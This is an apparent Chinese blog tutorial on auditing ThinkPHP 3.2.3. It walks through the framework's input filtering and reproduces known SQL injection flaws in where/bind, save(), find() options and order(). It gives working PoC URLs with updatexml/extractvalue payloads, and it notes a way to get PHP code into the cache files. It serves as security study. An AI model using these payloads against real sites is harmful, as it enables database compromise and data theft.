写点什么

总结下 ThinkPHP 的代码审计方法

发布于: 2 小时前

简介

ThinkPHP 是国内著名的 php 开发框架,基于 MVC 模式,最早诞生于 2006 年初,原名 FCS,2007 年元旦正式更名为 ThinkPHP。


本文主要分析 ThinkPHP v3 的程序代码,通过对 ThinkPHP v3 的结构分析、底层代码分析、经典历史漏洞复现分析等,学习如何审计 MVC 模式的程序代码,复现 ThinkPHP v3 的系列漏洞,总结经验,以后遇到 ThinkPHP v3 的代码能够独立审计,抓住重点。即使不想对 ThinkPHP v3 代码做过多了解的小伙伴通过本文也能对 TP3 程序的漏洞有个清晰的认识。


ThinkPHP v3.x 系列最早发布于 2012 年,于 2018 年停止维护,其中使用最多的是在 2014 年发布的 3.2.3,本文审计代码也是这个版本。也许 TP 3 现在很少能见到了,但通过对 TP 3 的代码分析,能更好入门 MVC 模式的程序代码审计。

了解 ThinkPHP 3

目录结构

TP3 的初始目录结构如下:


www  WEB部署目录(或者子目录)├─index.php       入口文件├─README.md       README文件├─Application     应用目录├─Public          资源文件目录└─ThinkPHP        框架目录
复制代码


这个时期的默认目录结构其实是有很大问题的,入口文件 index.php 和全部程序代码都放在 WEB 部署目录中,这将导致程序的中文件将会被泄露,如访问 Application/Runtime/Logs/ 下的日志,网上也有对应的爆破脚本,批量获取程序中的日志文件



2021最新整理网络安全\渗透测试/安全学习(全套视频、大厂面经、精品手册、必备工具包)一>点我<一


配置文件

在 ThinkPHP 中,一般来说应用的配置文件是自动加载的,加载的顺序是:


惯例配置->应用配置->模式配置->调试配置->状态配置->模块配置->扩展配置->动态配置


以上是配置文件的加载顺序,后面的配置会覆盖之前的同名配置


惯例配置


惯例重于配置是系统遵循的一个重要思想,框架内置有一个惯例配置文件(位于ThinkPHP/Conf/convention.php


应用配置


应用配置文件也就是调用所有模块之前都会首先加载的公共配置文件(默认位于Application/Common/Conf/config.php


模块配置


每个模块会自动加载自己的配置文件(位于Application/当前模块名/Conf/config.php


如果能获取到程序代码,一般优先看系统的配置文件,能翻到数据库配置信息这些还是很赚的


另外也可以翻翻模型代码,可能会有意外收获(在 TP 3 中实例化模型的时候可以使用 dns 连接数据库)


new \Home\Model\NewModel('blog','think_','mysql://root:1234@localhost/demo');
复制代码


另外一点需要注意的是,TP3 中一个配置文件就可以实现很多信息的配置,如数据库信息的配置,路由规则配置等都会放在一个文件中。在 TP5 中则是通过专门的文件去配置不同的需求,如路由配置文件专门负责配置路由,数据库配置文件专门负责配置数据库信息

路由处理方式

在 TP3 中路由处理方式如下


http://php.local/thinkphp3.2.3/index.php/Home/Index/index/id/1                               入口文件    模块/控制器/方法/  参数
复制代码


还可以使用兼容模式


index.php?s=Home/Index/index/id/1入口文件      模块/控制器/方法/  参数
复制代码


TP3 具有路由转发的功能,具体路由规则在应用或者模块配置文件中,上面有提及这两个文件的位置


配置方式如下:


// 开启路由'URL_ROUTER_ON'   => true,// 路由规则'URL_ROUTE_RULES'  => array(    'news/:year/:month/:day' => array('News/archive', 'status=1'),    'news/:id'               => 'News/read',    'news/read/:id'          => '/news/:1',),
复制代码


如果路由规则位于应用配置文件,路由规则则作用于全局。如果路由规则位于模块配置文件,则只作用于当前模块,在访问对应路由时要加上模块名,如在 home 模块配置文件定义了如上的路由,访问方式为http://test.com/home/news/1

快捷方法

TP 3 对一些经常使用操作封装成了快捷方法,目的在于使程序更加简单安全


在 TP 3 官方文档中并没有做系统的介绍,不过在 TP 5 中就有系统整理,并且还给了一个规范命名:助手函数。


快捷方法一般位于 ThinkPHP/Common/functions.php,下面介绍几个

I 方法

PHP 程序一般使用$_GET, $_POST等全局变量获取外部数据, 在 ThinkPHP 封装了一个 I 方法可以更加方便和安全的获取外部变量,可以用于任何地方,用法格式如下:


I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])
复制代码


示例:


echo I('get.id'); // 相当于 $_GET['id']echo I('get.name'); // 相当于 $_GET['name']// 采用htmlspecialchars方法对$_GET['name'] 进行过滤,如果不存在则返回空字符串echo I('get.name','','htmlspecialchars');
复制代码


如果没有传入过滤的方法,系统会采用默认的过滤机制,这个可以在配置文件中获取

C 方法

读取已有的配置,配置文件里面的数据就可以通过 C 方法读取


//  读取当前的URL模式配置参数$model = C('URL_MODEL');
复制代码

M 方法/D 方法

用于数据模型的实例化操作,具体这两个方法怎么实现,有什么区别,暂时就不多关注了,只用知道通过这两个快捷方法能快速实例化一个数据模型对象,从而操作数据库


//实例化模型
// 相当于 $User = new \Home\Model\UserModel();$User = D('User');// 和用法 $User = new \Think\Model('User'); 等效$User = M('User');
复制代码

模型

ThinkPHP 是基于 MVC 模式的架构,数据库和程序大部分逻辑都在模型 M 处处理。ThinkPHP3 在模型 M 的底层设计上,出现了 sql 注入这样的问题,这里复现它的漏洞前,先熟悉一下底层的设计

\Think\Model 类

TP3 实现模型的文件为 ThinkPHP/Library/Think/Model.class.php,文件中定义了 ThinkPHP 的模型基类\Think\Model 类\Think\Model 类的属性一般是不需要设置的,会从配置文件中获取默认值


//  ThinkPHP/Library/Think/Model.class.phpnamespace Think;class Model {    // 数据表前缀,如果未定义则获取配置文件中的DB_PREFIX参数    protected $tablePrefix      =   null;    // 模型名称    protected $name             =   '';    // 数据库名称    protected $dbName           =   '';    //数据库配置    protected $connection       =   '';    // 数据表名(不包含表前缀),一般情况下默认和模型名称相同    protected $tableName        =   '';    // 实际数据表名(包含表前缀),该名称一般无需设置    protected $trueTableName    =   '';    /*取得DB类的实例对象 字段检查*/    public function __construct($name='',$tablePrefix='',$connection='') {        /*数据库初始化操作          获取数据库操作对象          当前模型有独立的数据库连接信息*/        $this->db(0,empty($this->connection)?$connection:$this->connection,true);    }  ……
复制代码


模型类的作用大多数情况是操作数据表的,通常需要继承系统的**\Think\Model 类**或其子类。如果按照系统的规范来命名模型类的话,是可以自动对应数据表,如定义一个UserModel模型类,默认对应的数据表为think_user假设数据库的前缀定义是 think_


namespace Home\Model;use Think\Model;class UserModel extends Model {}
复制代码

模型实例化

1)首先通过类名可以直接实例化


实例化上面定义的 UserModel 类


$User = new \Home\Model\UserModel();
复制代码


2)另外 ThinkPHP 还提供了快捷方法,用于实例化模型:D 方法M 方法


D 方法用法如下,参数即为模型的名称


<?php//实例化模型$User = D('User');// 相当于 $User = new \Home\Model\UserModel();// 执行具体的数据操作$User->select();
复制代码


如果只对数据表进行基本的 CURD 操作的话,使用 M 方法可能性能会更高一点


// 使用M方法实例化$User = M('User');// 和用法 $User = new \Think\Model('User'); 等效// 执行其他的数据操作$User->select();
复制代码


3)实例化空模型类


使用原生 SQL 查询的话,不需要使用额外的模型类,实例化一个空模型类即可进行操作了,例如:


//实例化空模型$Model = new Model();//或者使用M快捷方法是等效的$Model = M();//进行原生的SQL查询$Model->query('SELECT * FROM think_user WHERE status = 1');
复制代码

数据库操作

TP3 模型基础类 Model 类提供了很多操作数据库的方法,下面看一下一些常用方法:


where()


where 方法的参数支持字符串和数组,主要用于获取 sql 语句的 where 部分


1)参数为数组


$User = M("User"); // 实例化User对象$name = I('GET.name');$res = $User->field('username,age')->where(array('username'=>$name))->select();
复制代码


最后执行的 SQL 语句:


SELECT `username`,`age` FROM `think_user` WHERE `username` = 'wang'
复制代码


2)参数为字符串


$User = M("User"); // 实例化User对象$name = I('GET.name');$res = $User->field('username,age')->where("username='%s'",$name)->select();
复制代码


最后执行的 sql 语句:


SELECT `username`,`age` FROM `think_user` WHERE ( username='wang' )
复制代码


3)存在漏洞的用法


然后就发现如下一种写法,通过双引号包裹参数变量自动解析,而不是额外传入参数的方式,这样就参数就不会被过滤,从而造成 sql 注入,在代码审计时可以注意下程序中是否存在这个情况


$User->field('username,age')->where("username='$name'")->select();
复制代码


实际 sql 语句


SELECT `username`,`age` FROM `think_user` WHERE ( username='xy' )
复制代码


通过闭合单引号和括号就能造成 sql 注入,即使这里使用 I 方法过滤也无效


select()


获取数据表中的多行记录


find()


读取数据表中的一行数据


示例:


<?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {    public function index(){        $name = I('GET.name');        $User = M("user"); // 实例化User对象        $User->where(array('name'=>$name))->select();    }}
复制代码


TP 3 还提供链式操作,假如我们现在要查询一个 User 表的满足状态为 1 的前 10 条记录,并希望按照用户的创建时间排序


$User->where('status=1')->order('create_time')->limit(10)->select();
复制代码

安全过滤机制

TP3 在 I 方法和数据库操作时都提供有自动安全过滤的操作

I 方法的安全过滤

ThinkPHP/Common/functions.php


下面对 I 方法代码做了大量化简,保留了关键逻辑代码


$name参数是一个字符串,前面提到的格式有get.id, post.name/sI 方法就需要对这样的字符串做解析


首先 I 方法解析出$name字符串中接收数据的方法$method,数据类型和数据$data


通过$filter方法对$data做过滤,一般$filter为空,就会调用系统默认过滤方式htmlspecialchars


'DEFAULT_FILTER'        =>  'htmlspecialchars', // 默认参数过滤方法 用于I函数...
复制代码


最后$data还要通过think_filter()过滤,就是匹配数据中是否具有敏感字符,如果$data匹配到敏感字符就在数据后添加一个空格,看似很奇怪,后面会讲这么做的用途


function I($name,$default='',$filter=null,$datas=null) {    if(strpos($name,'.')) { // 指定参数来源        list($method,$name) =   explode('.',$name,2);    }else{ // 默认为自动判断        $method =   'param';    }    switch(strtolower($method)) {        case 'get'     :          $input =& $_GET;          break;        case 'post'    :          $input =& $_POST;          break;        ……    $data = $input;    $data = $input[$name];    $data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data);    is_array($data) && array_walk_recursive($data,'think_filter');    return $data;}function think_filter(&$value){  // TODO 其他安全过滤  // 过滤查询特殊字符    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){        $value .= ' ';    }}
复制代码


这里注意 thinkphp3.2.3 中敏感字符不包含 BIND,TP3 就因为这一点存在一个 sql 注入的风险

数据库操作的安全过滤

通过 I 方法获取外部数据默认会做一些安全过滤,上面看到的系统默认配置有 htmlspecialchars,这个方法能防御大部分的 xss 注入。因为现在很多程序会使用预编译,所以 TP5 中一般不采用 I 方法对外部数据做 sql 注入的过滤。


所以 TP3 在数据库操作上也有自己的安全过滤方式,TP3 有自己的预编译处理方式,在没有使用预编译的情况下,TP3 才会做 addslash()这样的过滤,而 TP3 中出现的 sql 注入问题就是在没有使用预编译的情况下,忽略了一些该过滤的地方


在这里实在佩服挖到这些漏洞的大佬,最近看 MVC 模式的代码理解流程都很困难,他们却在复杂的代码中找到关键的问题,我在后面复现分析时感觉挖出这种漏洞实在得对 TP 的流程十分熟悉才行

示例程序

本小节主要通过如下示例代码分析 TP3 是如何处理 sql 操作,如何拼接 sql 语句,如何做安全过滤等操作


这是一个常见的外部输入 where 查询条件的 sql 操作,对 TP3 数据库操作有一定的普适性


Application/Home/Controller/IndexController.class.php


class IndexController extends Controller {    public function test(){        $name = I('GET.name');        $User = M("user"); // 实例化User对象        $User->field('username,age')->where(array('username'=>$name))->select();    }}
复制代码


访问下面的链接


http://tp.test:8888/index.php/home/index/test?name=s'
复制代码


最终执行的 sql 语句为:


SELECT `username`,`age` FROM `think_user` WHERE `username` = 's\''
复制代码


下面将仔细分析示例程序 sql 执行的流程


按照链式操作的顺序,会依次执行 field()、where()、select()。field()用于处理查询的字段,这里数据不可控,我们也不关注了

where()方法

先看 where()的逻辑,where()用于构造 sql 语句的 where 条件语句部分,这是常见的 sql 注入点。前面提到,模型类提供的where()方法可以接收数组参数或字符串参数$where,然后where()方法将会把相关数据解析到模型对象的options数组属性中,用于后续拼接完整的 sql 语句


如果$where为字符串时,$parse为传入where()的另一个参数,将会被escapeString过滤,然后将$parse格式化放在$where中,最后该字符串的值被放在$where['_string']中。这里过滤的明明白白,就不在考虑这种写法的 sql 注入问题了


如果$where为数组,也是官方推荐的一种方式,在where()方法中并没有直接过滤,我们需要关注后续对该值的处理


$where最终将放在当前模型对象的options['where']中,供后面处理


//  ThinkPHP/Library/Think/Model.class.phppublic function where($where,$parse=null){        if(!is_null($parse) && is_string($where)) {            $parse = array_map(array($this->db,'escapeString'),$parse);            $where =   vsprintf($where,$parse);        }        if(is_string($where) && '' != $where){            $map    =   array();            $map['_string']   =   $where;            $where  =   $map;        }        if(isset($this->options['where'])){            $this->options['where'] =   array_merge($this->options['where'],$where);        }else{            $this->options['where'] =   $where;        }        return $this;}
复制代码

select() 方法

上面知道如果传入 where()的参数为字符串,则直接会被过滤,那传入数组参数是否会经过安全检测呢?


接下来看看 select()是怎么处理的,where()方法将 where 字段部分数据放到了模型对象的 options 数组属性中保存,select()方法将主要从 options 数组组成最终的 sql 语句,其底层将由ThinkPHP/Library/Think/Db/Driver.class.php封装完成,过程比较复杂,下面用一张图简述其流程



可以看到最终的 sql 语句将由 buildSelectSql() 完成,其中由 parseTable(),parseWhere()等若干方法完成 sql 语句各个 set 字段的组成


其中 where 字段由 parseWhere()解析,因为前面对字符串参数已经过滤了,parseWhere()并没有在做过滤(具体代码上图忽略了),而是对数组参数进行了过滤,处理细节位于 parseWhereItem(),我们需要关注 parseWhereItem()是否做到了严丝合缝

parseWhereItem()

**parseWhereItem()**接收两个参数$key$val,分别来自为opention['where']的键和值


首先需要知道的是最终过滤的方法是parseValue(),过滤的值是$val,过滤后的$var$key组成$whereStr即最终的 where 字段


$val为数组形式时,会进入一个表达式判断,$exp=$val[0]$exp即为表达式,sql 代码的表达式有 EQ(等于)、LIKE(模糊查询等)……


可以看到,当$exp的值为 bind,exp,IN 运算符时,不会经过 **parseValue()**的过滤,那么这里就有可能存在一种绕过过滤的可能


$exp值为 bind 时,where 语句会加上= :,这会影响后面注入的语句(不过有人发现 delete 等方法可以消除该符号的影响,这个漏洞后面会具体分析);为 IN 运算符时,最后构造的 sql 语句会加上 in 运算符,稍有干扰;值为 exp 似乎是最佳选择


$val不为数组形式时,必会受到 parseValue()的过滤,遂放弃


//  ThinkPHP/Library/Think/Db/Driver.class.php  line:547-616protected function parseWhereItem($key,$val) {        $whereStr = '';        if(is_array($val)) {            if(is_string($val[0])) {                $exp  =  strtolower($val[0]);                if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算                    parseValue()……;                }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找                    parseValue()……;                }elseif('bind' == $exp ){ // 使用表达式                    $whereStr .= $key.' = :'.$val[1];                }elseif('exp' == $exp ){ // 使用表达式                    $whereStr .= $key.' '.$val[1];                }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算                    if(isset($val[2]) && 'exp'==$val[2]) {                        $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];                    }else{                        parseValue();                    }                }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算                   parseValue()……;                }else{                    E(L('_EXPRESS_ERROR_').':'.$val[0]);                }            }else {                ……            }        }else {            //对字符串类型字段采用模糊匹配            $likeFields   =   $this->config['db_like_fields'];            if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {                $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');            }else {                $whereStr .= $key.' = '.$this->parseValue($val);            }        }        return $whereStr;}
复制代码


然后就构造一个 poc 验证一下


http://tp.test:8888/index.php/home/index/test?name[0]=exp&name[1]=111'
复制代码


然后跟踪调试过程发现并没有按照预想的进入'exp' == $exp的逻辑,原因是我们传入的 exp 被加了一个空格,这似乎和 I 方法有关系



所以这里也发现了官方为什么强调要使用 I 方法接收外部数据,如果没有使用 I 方法,而是直接使用$_GET等接收外部变量,那么这里就有 sql 注入的问题


http://tp.test:8888/index.php/home/index/test?name[0]=exp&name[1]=='1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) #
复制代码


实际注入 sql 语句:


SELECT `username`,`age` FROM `think_user` WHERE `username` ='1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
复制代码

小结

目前分析了 ThinkPHP V3.2.3 对通过 I 方法对输入变量的安全过滤流程、数据库在解析 select 语句中的 where 字段时的安全过滤流程。也发现了一点小问题,如果没有按照规范的方法使用 ThinkPHP 也是有可能存在 SQL 注入问题的。这些不规范的写法也是代码审计时需要找出的问题

历史漏洞

update 注入漏洞

在安全过滤机制一节中主要分析了 select()方法对 where() 传入的数组参数的处理过程,其中遇到了这样的情况:


$exp的值为'bind'时,构造的 where 语句中间会受到" = : "的影响,但是有人却找到了模型类的 save()方法可以消除" : "的影响,最终造成 sql 注入漏洞,该小节就是关注这一点


$exp的值为'exp'时,基本不会受到影响,但 exp 在think_filter()中是特殊字符,$exp最终值会被加空格,无法进入到该逻辑中


//  ThinkPHP/Library/Think/Db/Driver.class.phpfunction parseWhereItem(){……    elseif('bind' == $exp ){ // 使用表达式        $whereStr .= $key.' = :'.$val[1];    }elseif('exp' == $exp ){ // 使用表达式        $whereStr .= $key.' '.$val[1];    }……}//  ThinkPHP/Common/functions.phpfunction think_filter(&$value){    // TODO 其他安全过滤    // 过滤查询特殊字符    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){        $value .= ' ';    }}
复制代码

save()的使用

ThinkPHP 的模型基类使用 save()方法实现了 SQL update 的操作,用法如下,要更改的数据需要通过数关联组形式传递


$User = M("User"); // 实例化User对象// 要修改的数据对象属性赋值$data['name'] = 'ThinkPHP';$data['email'] = 'ThinkPHP@gmail.com';$User->where('id=5')->save($data); // 根据条件更新记录
复制代码


也可以改成对象方式来操作:


$User = M("User"); // 实例化User对象// 要修改的数据对象属性赋值$User->name = 'ThinkPHP';$User->email = 'ThinkPHP@gmail.com';$User->where('id=5')->save(); // 根据条件更新记录
复制代码

构造 save()的场景

ThinkPHP 只是一个框架,其中封装了很多方法,需要知道的是 save()底层封装了 update 的 sql 操作。


这里我们构建一个使用 save()方法的场景,并且 where()使用数组形式的参数,目的是为了进入 bind 的处理逻辑。外部参数我们使用严格 I 方法来接收


public function test(){        $name = I('GET.name');        $User = M("user"); // 实例化User对象        $data['jop'] = '111';        $res = $User->where(array('name'=>$name))->save($data);        var_dump($res);}
复制代码


为了进入 'bind' 的处理逻辑,下面将构造以下连接测试注入:


http://tp.test:8888/index.php/home/index/test?name[0]=bind&name[1]=kkey'
复制代码

save()处理逻辑

where() 的处理逻辑在安全过滤机制一节中有提到,当我们传入数组参数时在 where()中不会被过滤,参数最终会被放到模型对象的 options 数组属性中保存。至于这个没有过滤的数据在 save() 中又是怎么处理的下面分析一下:


ThinkPHP/Library/Think/Model.class.php


where()方法上面已经分析过,只需要知道当前 model 类对象的$options存储着 where 字段的数据,$data则是存放的 set 字段的数据


$data$options是组成 sql 语句的关键,最终将交于db->update()实现


//  ThinkPHP/Library/Think/Model.class.phpclass Model {  protected $options;  public function save($data='',$options=array()) {        ……         //  底层由数据库Driver类update()实现        $result     =   $this->db->update($data,$options);        ……        return $result;    }}
复制代码


ThinkPHP/Library/Think/Db/Driver.class.php


把重点放到底层 update()的实现上:


//  ThinkPHP/Library/Think/Db/Driver.class.phpabstract class Driver {  public function update($data,$options) {        $table  =   $this->parseTable($options['table']);        //  此时sql语句构造为 UPDATE xxx set yyy         $sql     = 'UPDATE ' . $table . $this->parseSet($data);        //  解析where语句        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');        ……        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);    }}
复制代码


首先$data由**parseSet()**解析为 set 字段,**parseSet()就不细看了,==该方法解析的 set 字段的将会用命名(:name)**形式的占位标记符,其中占位标记符的值已经放在了 bind 数组中==,可以看出 tp 想做预编译的操作了



然后就进入 where 字段的解析,解析方法为parseWhere()


parseWhere()也不进入细看了,就是数组参数最终会交给parseWhereItem()解析


parseWhereItem()前面已有分析,这里也不再仔细分析了,当注入的$exp(代表运算符)等于 bind 时,传入的参数不会被过滤,而是在 where 子语句中添加" =: "符号,本漏洞的关键点在于如何去消除这个" : "符号的影响。如下图,我们的数据奇怪的加入了这个预编译,这个准备语句的格式明显是有问题的



$sql为最终解析完成的 sql 语句,交于execute()执行




跟踪 execute() 方法:


//  ThinkPHP/Library/Think/Db/Driver.class.phppublic function execute($str,$fetchSql=false) {        $this->queryStr = $str;        if(!empty($this->bind)){            $that   =   $this;            $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));        }        if($fetchSql){            return $this->queryStr;        }        foreach ($this->bind as $key => $val) {                $this->PDOStatement->bindValue($key, $val);        }        $result =   $this->PDOStatement->execute();
复制代码


$str即为要执行的 sql 语句


重点关注$this->queryStr的处理,这里会执行两个函数,一个strst()字符串替换函数,一个使用array_map()调用的匿名函数


匿名函数就是调用escapeString()过滤 bind 数组,前面知道 bind 数组只有 set 语句的值,==我们 where 语句的值还是没有被过滤==


strst()将会把占位标记符转换为 bind 数组中对应的值,如:$bind=[':0'=>'111',':1'=>'222'],那么 sql 语句中**':0'字符会被替换为'111'':1'被替换为'222'**。==利用的关键点来了,我们把 where 语句最终控制为":0",那么替换时":"将被消除,从而消除了:对注入语句的影响==



$this->queryStr语句处理好后,再通过预编译执行该语句,可惜其中的占位标记符已经被替换了,在预处理前就已经发生了注入,漏洞产生

验证漏洞

poc:


http://tp.test:8888/index.php/home/index/test?name[0]=bind&name[1]=0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
复制代码


实际执行的 sql 语句


UPDATE `think_user` SET `job`='111' WHERE `username` = '111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--
复制代码


验证图:


官方修复

前面提到利用 I 方法获取输入时并没有过滤 BIND,导致我们可以进入 BIND 的逻辑,从而使得我们的数组参数从头到尾都没有被过滤。官方便在这一点上做了过滤。所以该漏洞在 ThinkPHP<=3.2.3 都是存在的


注意:如果没有使用 I 方法接收外部数据,那么下面的修复就没有意义了,这漏洞照样使用

小结

感觉挖这种漏洞好难呀!需要对数据的每个流程十分熟悉。本次漏洞点还是位于 where()方法的输入点,不过要借助 I 方法忽略的 BIND 和拼接语句时意外的替换功能造成最终的 sql 注入


也许该漏洞的最关键点在于 strtr()的全局替换吧,替换了意外的数据,如果能看到这一点,应该就能逆向找到利用了。而官方修复并没有修复这个关键点,所以在没有使用 I 方法的情况还是有可能造成 sql 注入


如果在真实场景中想寻找这样的漏洞,可以先看程序中可能具有 update 的操作,然后注入 poc 尝试

select&delete 注入漏洞

这其实是 ThinkPHP 的一个隐藏用法,在前面提到,ThinkPHP 使用 where(),field()等方法获取获取 sql 语句的各个部分,然后存放到当前模型对象的$this->options属性数组中,最后在使用 select()这些方法从$this->options数组中解析出对应的 sql 语句执行。


但在阅读代码过程中发现 find(),select(),delete()本身可以接收$options数组参数,覆盖掉$this->options的值。不过这种用法官方文档并没有提及,想要遇到这中情况可能还需要开发者们配合,下面看看这个漏洞是怎么产生的,这里分析 find()方法

代码分析

ThinkPHP/Library/Think/Model.class.php


class Model {    protected $options          =   array();    public function find($options=array()) {        if(is_numeric($options) || is_string($options)) {//$options不为数组的情况            $where[$this->getPk()]  =   $options;            $options                =   array();            $options['where']       =   $where;        }        // 根据复合主键查找记录        $pk  =  $this->getPk();        if (is_array($options) && (count($options) > 0) && is_array($pk)) {//$options为数组且主键也为数组的情况            // 根据复合主键查询            ……        }        // 总是查找一条记录        $options['limit']   =   1;        // 分析表达式        $options            =   $this->_parseOptions($options);        ……        $resultSet          =   $this->db->select($options);//底层查询的语句
复制代码


find()可以接收外部参数$options,官方文档没有提及这个用法


getPk()获取当前的主键,默认为'id'


$options为数字类型或字符串类型时,$options['where']将由主键和外部数据构成


$options为数组类型时,且主键$pk也为数组类型时,将会进入复合主键查询。但一般默认主键$pk=id,不为数组


$options最终由_parseOptions()获取。跟踪_parseOptions()方法,可以看到最终$options将由**find()方法传入的$optionswhere()**等方法传入的$this->options合并完成,注意array_merge()第二个参数是会覆盖第一个参数的值的,所以如果find()方法传入的$options可控,那么整个 sql 语句也可控


//  ThinkPHP/Library/Think/Model.class.phpprotected function _parseOptions($options=array()) {    if(is_array($options))        $options =  array_merge($this->options,$options);    ……
复制代码


现在 sql 语句可控了,能想到的是在数据库底层类中的 parsewhere()方法解析 where 字段时,对字符串参数不会过滤,由下面代码,需要控制$options['where']为字符串类型即可


//  ThinkPHP/Library/Think/Db/Driver.class.phppublic function parseSql($sql,$options=array()){    // parseWhere()接收的是$options['where']    $this->parseWhere(!empty($options['where'])?$options['where']:'')    ……
protected function parseWhere($where) { $whereStr = ''; if(is_string($where)) { // 直接使用字符串条件 $whereStr = $where; ……
复制代码

场景构造

构造一个find()方法接收外部参数,这种写法可能存在漏洞


public function test(){    $id = I('GET.id');    $User = M("user"); // 实例化User对象    $res = $User->find($id);}
复制代码

漏洞利用

http://tp.test:8888/home/index/test?id[where]=(1=1) and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
复制代码


实际执行的 sql 语句为


SELECT * FROM `think_user` WHERE (1=1) and (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- LIMIT 1
复制代码

官方修复

官方在修复上就是在_parseOptions()处忽略了外部传入的$options,这样我们传入的数据只能用于主键查询,而主键查询最终会转换为数组格式,数组格式数据在后面也会被过滤,那么这个漏洞就不存在了



Model.class.php 类中 delete(), select() 方法具有相同问题,也在 ThinkPHP3.2.4 中被修复

小结

可以看到 ThinkPHP 在处理 sql 查询时分的很细,做出了一个可控的主键查询这个功能,让用户可以控制主键查询的值,但始终保存主键查询的数据为数组形式可以被过滤,就保证了数据的安全性,但却忽略了一些意外的情况,导致 sql 注入。这个漏洞同样是需要很对 ThinkPHP 底层逻辑十分清楚

order by 注入漏洞

代码分析

ThinkPHP 的模型基类 Model 并没有直接提供 order 的方法,而是用__call()魔术方法来获取一些特殊方法的参数,代码如下:


ThinkPHP/Library/Think/Model.class.php


class Model {    // 查询表达式参数    protected $options          =   array();    // 链操作方法列表    protected $methods          =   array('strict','order','alias','having','group',……);    public function __call($method,$args) {        if(in_array(strtolower($method),$this->methods,true)) {            // 连贯操作的实现            $this->options[strtolower($method)] =   $args[0];            return $this;        }        ……    }}
复制代码


当调用模型对象的 order() 方法时,因为模型对象不具有该方法便触发了__call()方法,在__call()方法中,传入 order()方法的第一个参数将赋值给$this->options['order']


最终 order 语句将由给 parseOrder() 解析



ThinkPHP/Library/Think/Db/Driver.class.php


在 Thinkphp3.2.3 中 parseOrder()实现的十分简单


abstract class Driver {    protected function parseOrder($order) {        if(is_array($order)) {            $array   =  array();            foreach ($order as $key=>$val){                if(is_numeric($key)) {                    $array[] =  $this->parseKey($val);                }else{                    $array[] =  $this->parseKey($key).' '.$val;                }            }            $order   =  implode(',',$array);        }        return !empty($order)?  ' ORDER BY '.$order:'';    }
复制代码


parseOrder()的参数$order来自$options['order']


过程对$order没有任何过滤,可以任意注入。。。

场景构造

构造一个 order 参数可控的场景,不过似乎很少有程序会把查询排序的参数交给用户


public function test(){    $order = I('GET.order');    $User = M("user"); // 实例化User对象    $res = $User->order($order)->find();}
复制代码

漏洞利用

poc:


http://tp.test:8888/home/index/test?order=updatexml(1,concat(0x7e,(select%20user()),0x7e),1)
复制代码


实际执行 sql 语句


SELECT * FROM `think_user` ORDER BY updatexml(1,concat(0x7e,(select user()),0x7e),1)
复制代码

系统修复

在看系统修复代码时发现,ThinkPHP3.2.4 主要采用了判断输入中是否有括号的方式过滤,在 ThinkPHP3.2.5 中则用正则表达式过滤特殊符号。另外该在 ThinkPHP<=5.1.22 版本也存在这样的漏洞,利用方式有一些不同


在复现该漏洞时发现其他博主的代码和我的不一样,我这里以下载的代码为准

缓存漏洞

ThinkPHP 中提供了一个数据缓存的功能,对应 S 方法,可以先将一些数据保存在文件中,再次访问该数据时直接访问缓存文件即可

缓存文件示例

按照缓存初始化时候的参数进行缓存数据


public function test(){    $name = I('GET.name');    S('name',$name);}
复制代码


下次在读取该值时通过缓存文件可以更快获取


public function cache(){    $value = S('name');    echo $value;}
复制代码


先访问 test(),生成缓存数据


http://tp.test:8888/home/index/test?name=jelly
复制代码


发现生成文件:Application/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php



然后访问 cache(),获取缓存数据


image-20210729173745860.png


上面就是缓存文件生成和使用的过程

代码分析

ThinkPHP/Common/functions.php


这段代码没什么好看的,就是 S 方法具有查看缓存,删除缓存和写缓存的动能,这里我们只关注写缓存的 set()方法


function S($name,$value='',$options=null) {    //   缓存初始化    $cache = Think\Cache::getInstance();    //  具体缓存操作    if(''=== $value){ // 获取缓存        return $cache->get($name);    }elseif(is_null($value)) { // 删除缓存        return $cache->rm($name);    }else { // 缓存数据        if(is_array($options)) {            $expire     =   isset($options['expire'])?$options['expire']:NULL;        }else{            $expire     =   is_numeric($options)?$options:NULL;        }        return $cache->set($name, $value, $expire);    }}
复制代码


ThinkPHP/Library/Think/Cache/Driver/File.class.php


先看file_put_contents(),就是这里写入了文件,我们需要控制其中的两个参数,文件名$filename, 写入数据$data


文件名$filename来自方法filename($name),其中 $name 可控,filename()是怎么操作的等下细看


写入数据$data来自$value处理后的数据,$value可控


$value先经过序列化


然后使用<?php\n//,?>包裹 $value 序列化后的值,这是要写入一个 php 文件呀,危险!注意这里使用了行注释符//,保证写入的数据不会被解析,但是我们可以通过换行符等手段轻松绕过


class File extends Cache {    public function set($name,$value,$expire=null) {        ……        $filename   =   $this->filename($name);        $data   =   serialize($value);        $data    = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";        $result  =   file_put_contents($filename,$data);        if($result) {            if($this->options['length']>0) {                // 记录缓存队列                $this->queue($name);            }            clearstatcache();            return true;        }else {            return false;        }    }
复制代码


下面关注一下文件的命名方式,具体方法为 filename()


